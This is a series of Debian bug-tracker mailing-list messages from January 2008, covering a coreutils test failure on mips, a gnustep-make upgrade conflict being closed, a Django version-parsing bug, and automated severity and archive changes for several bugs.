On Wed, Jan 23, 2008 at 09:04:22PM +0100, Lucas Nussbaum wrote: Note that the mipsel buildd failed in the exact same way. Yeah, same theory holds. Until it can be duplicated with a manual build or we get the build logs it ain't gonna be easy to fix. It's obviously trivial to special case mips and not run the build tests on that platform, but there's something going on here that's beyond coreutils that's probably worth fixing. Mike Stone -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Processed: severity of 444692 is important
Processing commands for [EMAIL PROTECTED]: # Automatically generated email from bts, devscripts version 2.10.13 severity 444692 important Bug#444692: Spurious output fills disk space Severity set to `important' from `serious' End of message, stopping processing here. Please contact me if you need assistance. Debian bug tracking system administrator (administrator, Debian Bugs database) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Processed: severity of 455806 is important
Processing commands for [EMAIL PROTECTED]: # Automatically generated email from bts, devscripts version 2.10.13 severity 455806 important Bug#455806: evolution: crash on startup Severity set to `important' from `serious' End of message, stopping processing here. Please contact me if you need assistance. Debian bug tracking system administrator (administrator, Debian Bugs database) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#462226: coreutils: FTBFS on mips: tests failed: rm/deep-1, rm/dangling-symlink, ...
Michael Stone wrote: On Wed, Jan 23, 2008 at 09:04:22PM +0100, Lucas Nussbaum wrote: Note that the mipsel buildd failed in the exact same way. Yeah, same theory holds. Until it can be duplicated with a manual build or we get the build logs it ain't gonna be easy to fix. It's obviously trivial to special case mips and not run the build tests on that platform, but there's something going on here that's beyond coreutils that's probably worth fixing. Do you even care looking at the build logs or do you really want to be pointed at them? They are available as usual on buildd.debian.org... Cheers Luk -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#462226: coreutils: FTBFS on mips: tests failed: rm/deep-1, rm/dangling-symlink, ...
On Wed, Jan 23, 2008 at 11:11:23PM +0100, Luk Claes wrote: Do you even care looking at the build logs or do you really want to be pointed at them? They are available as usual on buildd.debian.org... Sorry, I meant test log rather than build log. The details about why the test failed are left in a file in the build directory. The build log tells what failed, but doesn't display the debug information that would explain why. Normally one could duplicate the problem with a manual build, but that's not happening this time. (The manual build passes that step, and runs into the other problem with the wacky unexpected error codes later in the test sequence.) Mike Stone -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#459769: marked as done (gnustep-make: Fails to upgrade, file conflicts with the old gnustep-make-doc)
Your message dated Wed, 23 Jan 2008 22:17:03 + with message-id [EMAIL PROTECTED] and subject line Bug#459769: fixed in gnustep-make 2.0.4-1 has caused the attached Bug report to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what I am talking about this indicates a serious mail system misconfiguration somewhere. Please contact me immediately.) Debian bug tracking system administrator (administrator, Debian Bugs database) ---BeginMessage--- Package: gnustep-make Version: 2.0.2-1 Severity: serious Just upgrading a Debian testing machine: Preparing to replace gnustep-make 1.13.0-1 (using .../gnustep-make_2.0.2-1_all.deb) ... Unpacking replacement gnustep-make ... dpkg: error processing /var/cache/apt/archives/gnustep-make_2.0.2-1_all.deb (--unpack): trying to overwrite `/usr/share/doc/gnustep-make/Developer', which is also in package gnustep-make-doc Errors were encountered while processing: /var/cache/apt/archives/gnustep-make_2.0.2-1_all.deb -- System Information: Debian Release: lenny/sid APT prefers testing APT policy: (500, 'testing') Architecture: i386 (i686) Kernel: Linux 2.6.22-3-686 (SMP w/2 CPU cores) Locale: LANG=bg_BG.UTF-8, LC_CTYPE=bg_BG.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/bash Versions of packages gnustep-make depends on: ii gnustep-common2.0.2-1Common files for the core GNUstep ii libc6 2.7-5 GNU C Library: Shared libraries gnustep-make recommends no packages. -- debconf-show failed ---End Message--- ---BeginMessage--- Source: gnustep-make Source-Version: 2.0.4-1 We believe that the bug you reported is fixed in the latest version of gnustep-make, which is due to be installed in the Debian FTP archive: gnustep-common_2.0.4-1_i386.deb to pool/main/g/gnustep-make/gnustep-common_2.0.4-1_i386.deb gnustep-make-doc_2.0.4-1_all.deb to pool/main/g/gnustep-make/gnustep-make-doc_2.0.4-1_all.deb gnustep-make-ogo_2.0.4-1_i386.deb to pool/main/g/gnustep-make/gnustep-make-ogo_2.0.4-1_i386.deb gnustep-make_2.0.4-1.diff.gz to pool/main/g/gnustep-make/gnustep-make_2.0.4-1.diff.gz gnustep-make_2.0.4-1.dsc to pool/main/g/gnustep-make/gnustep-make_2.0.4-1.dsc gnustep-make_2.0.4-1_all.deb to pool/main/g/gnustep-make/gnustep-make_2.0.4-1_all.deb gnustep-make_2.0.4.orig.tar.gz to pool/main/g/gnustep-make/gnustep-make_2.0.4.orig.tar.gz A summary of the changes between this version and the previous one is attached. Thank you for reporting the bug, which will now be closed. If you have further comments please address them to [EMAIL PROTECTED], and the maintainer will reopen the bug report if appropriate. Debian distribution maintenance software pp. Hubert Chathi [EMAIL PROTECTED] (supplier of updated gnustep-make package) (This message was generated automatically at their request; if you believe that there is a problem with it please contact the archive administrators by mailing [EMAIL PROTECTED]) -BEGIN PGP SIGNED MESSAGE- Hash: RIPEMD160 Format: 1.7 Date: Wed, 23 Jan 2008 14:48:48 -0500 Source: gnustep-make Binary: gnustep-common gnustep-make-doc gnustep-make-ogo gnustep-make Architecture: source i386 all Version: 2.0.4-1 Distribution: unstable Urgency: low Maintainer: Debian GNUstep maintainers [EMAIL PROTECTED] Changed-By: Hubert Chathi [EMAIL PROTECTED] Description: gnustep-common - Common files for the core GNUstep environment gnustep-make - Basic GNUstep Makefiles gnustep-make-doc - Documentation for GNUstep-make gnustep-make-ogo - Basic GNUstep Scripts and Makefiles for OpenGroupware.org Closes: 459769 Changes: gnustep-make (2.0.4-1) unstable; urgency=low . * New upstream release. * debian/rules: clean up some old cruft; don't install app wrapper any more (unused). * debian/control.in, debian/rules: Put documentation symlinks in gnustep-make-doc instead of gnustep-make. (closes: #459769) * debian/control.in, debian/rules: Put filesystem.[c]sh in gnustep-common, since it's needed to run GNUstep.[c]sh. * debian/control.in: Bump standards version to 3.7.3 (no other changes needed) * debian/control.in: Drop unnecessary versioned dependency on tar. * debian/copyright: Update license to GPL-3+; use proposed machine-readable copyright format. Files: ebb27b9ae3b835f915ec4d91d6da6bd5 874 libs optional gnustep-make_2.0.4-1.dsc cd6a8202f0f9f73a44eeb746507ab9d7 456257 libs optional gnustep-make_2.0.4.orig.tar.gz 9a1adc0d9fc3b6fad0dceacdbeb3f091 159285 libs optional gnustep-make_2.0.4-1.diff.gz 929d787752caaed732a43a1da7cb61cb 112302 libs optional gnustep-common_2.0.4-1_i386.deb dc7acae0fc185a0cb673d6f6a3d97114 202158 libs optional gnustep-make-ogo_2.0.4-1_i386.deb 1014054b39cc115f784b2459f67f060c 163606 devel optional
Bug#462058: [SPAM?] Bug#462058: Acknowledgement (python-django: problem when extracting PostgreSQL's version number)
This has been reported already upstream at http://code.djangoproject.com/ticket/6433. Unfortunately both patches (yours and the one on that ticket) have slightly interesting bugs... For example, the patch on that ticket would parse 8.3RC3 - [8, 33] which is (clearly) wrong. Yours has an issue that isn't currently a problem in postgres, but maybe at sometime in the future, if you had the string 10.1RC3 your version would end up with [1, 0, 1] which is obviously not the desired effect! I'm looking in to this bug, and will be tracking upstreams dealings with it. Thanks! -- Brett Parker -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Processed: unarchiving 241894, submitter 241894, archiving 241894
Processing commands for [EMAIL PROTECTED]: # Automatically generated email from bts, devscripts version 2.10.13 unarchive 241894 Unarchived Bug 241894 submitter 241894 [EMAIL PROTECTED] Bug#241894: Enigma contains non-free fonts Changed Bug submitter from Josh Triplett [EMAIL PROTECTED] to [EMAIL PROTECTED] (By the way, that Bug is currently marked as done.) archive 241894 Bug#241894: Enigma contains non-free fonts archived 241894 to archive/94 (from 241894) deleted 241894 (from 241894) End of message, stopping processing here. Please contact me if you need assistance. Debian bug tracking system administrator (administrator, Debian Bugs database) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Processed: unarchiving 293210, submitter 293210, archiving 293210
Processing commands for [EMAIL PROTECTED]: # Automatically generated email from bts, devscripts version 2.10.13 unarchive 293210 Unarchived Bug 293210 submitter 293210 [EMAIL PROTECTED] Bug#293210: bluez-bcm203x firmware loader depends on non-free firmware Changed Bug submitter from Josh Triplett [EMAIL PROTECTED] to [EMAIL PROTECTED] (By the way, that Bug is currently marked as done.) archive 293210 Bug#293210: bluez-bcm203x firmware loader depends on non-free firmware archived 293210 to archive/10 (from 293210) deleted 293210 (from 293210) End of message, stopping processing here. Please contact me if you need assistance. Debian bug tracking system administrator (administrator, Debian Bugs database) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Processed: unarchiving 254283, submitter 254283, archiving 254283
Processing commands for [EMAIL PROTECTED]: # Automatically generated email from bts, devscripts version 2.10.13 unarchive 254283 Unarchived Bug 254283 submitter 254283 [EMAIL PROTECTED] Bug#254283: Includes non-free firmware ISAR.BIN Changed Bug submitter from Josh Triplett [EMAIL PROTECTED] to [EMAIL PROTECTED] (By the way, that Bug is currently marked as done.) archive 254283 Bug#254283: Includes non-free firmware ISAR.BIN archived 254283 to archive/83 (from 254283) deleted 254283 (from 254283) End of message, stopping processing here. Please contact me if you need assistance. Debian bug tracking system administrator (administrator, Debian Bugs database) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#462226: coreutils: FTBFS on mips: tests failed: rm/deep-1, rm/dangling-symlink, ...
On Wed, Jan 23, 2008 at 17:19:15 -0500, Michael Stone wrote: On Wed, Jan 23, 2008 at 11:11:23PM +0100, Luk Claes wrote: Do you even care looking at the build logs or do you really want to be pointed at them? They are available as usual on buildd.debian.org... Sorry, I meant test log rather than build log. The details about why the test failed are left in a file in the build directory. The build log tells what failed, but doesn't display the debug information that would explain why. Normally one could duplicate the problem with a manual build, but that's not happening this time. (The manual build passes that step, and runs into the other problem with the wacky unexpected error codes later in the test sequence.) Maybe you could modify the build rules to cat the test logs in case of failure? Cheers, Julien -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Processed: unarchiving 298600, submitter 298600, archiving 298600
Processing commands for [EMAIL PROTECTED]: # Automatically generated email from bts, devscripts version 2.10.13 unarchive 298600 Unarchived Bug 298600 submitter 298600 [EMAIL PROTECTED] Bug#298600: copyright file refers to LGPL 2.1, but points to LGPL-2 file Changed Bug submitter from Josh Triplett [EMAIL PROTECTED] to [EMAIL PROTECTED] (By the way, that Bug is currently marked as done.) archive 298600 Bug#298600: copyright file refers to LGPL 2.1, but points to LGPL-2 file archived 298600 to archive/00 (from 298600) deleted 298600 (from 298600) End of message, stopping processing here. Please contact me if you need assistance. Debian bug tracking system administrator (administrator, Debian Bugs database) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Processed: unarchiving 289750, submitter 289750, archiving 289750
Processing commands for [EMAIL PROTECTED]: # Automatically generated email from bts, devscripts version 2.10.13 unarchive 289750 Unarchived Bug 289750 submitter 289750 [EMAIL PROTECTED] Bug#289750: widelands-data contains non-free font Knights.ttf Changed Bug submitter from Josh Triplett [EMAIL PROTECTED] to [EMAIL PROTECTED] (By the way, that Bug is currently marked as done.) archive 289750 Bug#289750: widelands-data contains non-free font Knights.ttf archived 289750 to archive/50 (from 289750) deleted 289750 (from 289750) End of message, stopping processing here. Please contact me if you need assistance. Debian bug tracking system administrator (administrator, Debian Bugs database) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Processed: unarchiving 273079, submitter 273079, archiving 273079
Processing commands for [EMAIL PROTECTED]: # Automatically generated email from bts, devscripts version 2.10.13 unarchive 273079 Unarchived Bug 273079 submitter 273079 [EMAIL PROTECTED] Bug#273079: xmame-tools should be in section non-free/games, not games Changed Bug submitter from Josh Triplett [EMAIL PROTECTED] to [EMAIL PROTECTED] (By the way, that Bug is currently marked as done.) archive 273079 Bug#273079: xmame-tools should be in section non-free/games, not games archived 273079 to archive/79 (from 273079) deleted 273079 (from 273079) End of message, stopping processing here. Please contact me if you need assistance. Debian bug tracking system administrator (administrator, Debian Bugs database) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Processed: unarchiving 268565, submitter 268565, archiving 268565
Processing commands for [EMAIL PROTECTED]: # Automatically generated email from bts, devscripts version 2.10.13 unarchive 268565 Unarchived Bug 268565 submitter 268565 [EMAIL PROTECTED] Bug#268565: graphviz-dev should be in non-free/devel; copyright file is misleading Changed Bug submitter from Josh Triplett [EMAIL PROTECTED] to [EMAIL PROTECTED] (By the way, that Bug is currently marked as done.) archive 268565 Bug#268565: graphviz-dev should be in non-free/devel; copyright file is misleading archived 268565 to archive/65 (from 268565) deleted 268565 (from 268565) End of message, stopping processing here. Please contact me if you need assistance. Debian bug tracking system administrator (administrator, Debian Bugs database) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Processed: unarchiving 239673, submitter 239673, archiving 239673
Processing commands for [EMAIL PROTECTED]: # Automatically generated email from bts, devscripts version 2.10.13 unarchive 239673 Unarchived Bug 239673 submitter 239673 [EMAIL PROTECTED] Bug#239673: LGeneral should be in contrib Changed Bug submitter from Josh Triplett [EMAIL PROTECTED] to [EMAIL PROTECTED] (By the way, that Bug is currently marked as done.) archive 239673 Bug#239673: LGeneral should be in contrib archived 239673 to archive/73 (from 239673) deleted 239673 (from 239673) End of message, stopping processing here. Please contact me if you need assistance. Debian bug tracking system administrator (administrator, Debian Bugs database) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Processed: unarchiving 263549, submitter 263549, archiving 263549
Processing commands for [EMAIL PROTECTED]: # Automatically generated email from bts, devscripts version 2.10.13 unarchive 263549 Unarchived Bug 263549 submitter 263549 [EMAIL PROTECTED] Bug#263549: floatflt is non-free Changed Bug submitter from Josh Triplett [EMAIL PROTECTED] to [EMAIL PROTECTED] (By the way, that Bug is currently marked as done.) archive 263549 Bug#263549: floatflt is non-free archived 263549 to archive/49 (from 263549) deleted 263549 (from 263549) End of message, stopping processing here. Please contact me if you need assistance. Debian bug tracking system administrator (administrator, Debian Bugs database) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Processed: unarchiving 262196, submitter 262196, archiving 262196
Processing commands for [EMAIL PROTECTED]: # Automatically generated email from bts, devscripts version 2.10.13 unarchive 262196 Unarchived Bug 262196 submitter 262196 [EMAIL PROTECTED] Bug#262196: mpkg-j2se should be in contrib Warning: Unknown package 'mpkg-j2se' Changed Bug submitter from Josh Triplett [EMAIL PROTECTED] to [EMAIL PROTECTED] (By the way, that Bug is currently marked as done.) archive 262196 Bug#262196: mpkg-j2se should be in contrib archived 262196 to archive/96 (from 262196) deleted 262196 (from 262196) End of message, stopping processing here. Please contact me if you need assistance. Debian bug tracking system administrator (administrator, Debian Bugs database) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Processed: unarchiving 239674, submitter 239674, archiving 239674
Processing commands for [EMAIL PROTECTED]: # Automatically generated email from bts, devscripts version 2.10.13 unarchive 239674 Unarchived Bug 239674 submitter 239674 [EMAIL PROTECTED] Bug#239674: lgc-pg should be in contrib Changed Bug submitter from Josh Triplett [EMAIL PROTECTED] to [EMAIL PROTECTED] (By the way, that Bug is currently marked as done.) archive 239674 Bug#239674: lgc-pg should be in contrib archived 239674 to archive/74 (from 239674) deleted 239674 (from 239674) End of message, stopping processing here. Please contact me if you need assistance. Debian bug tracking system administrator (administrator, Debian Bugs database) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
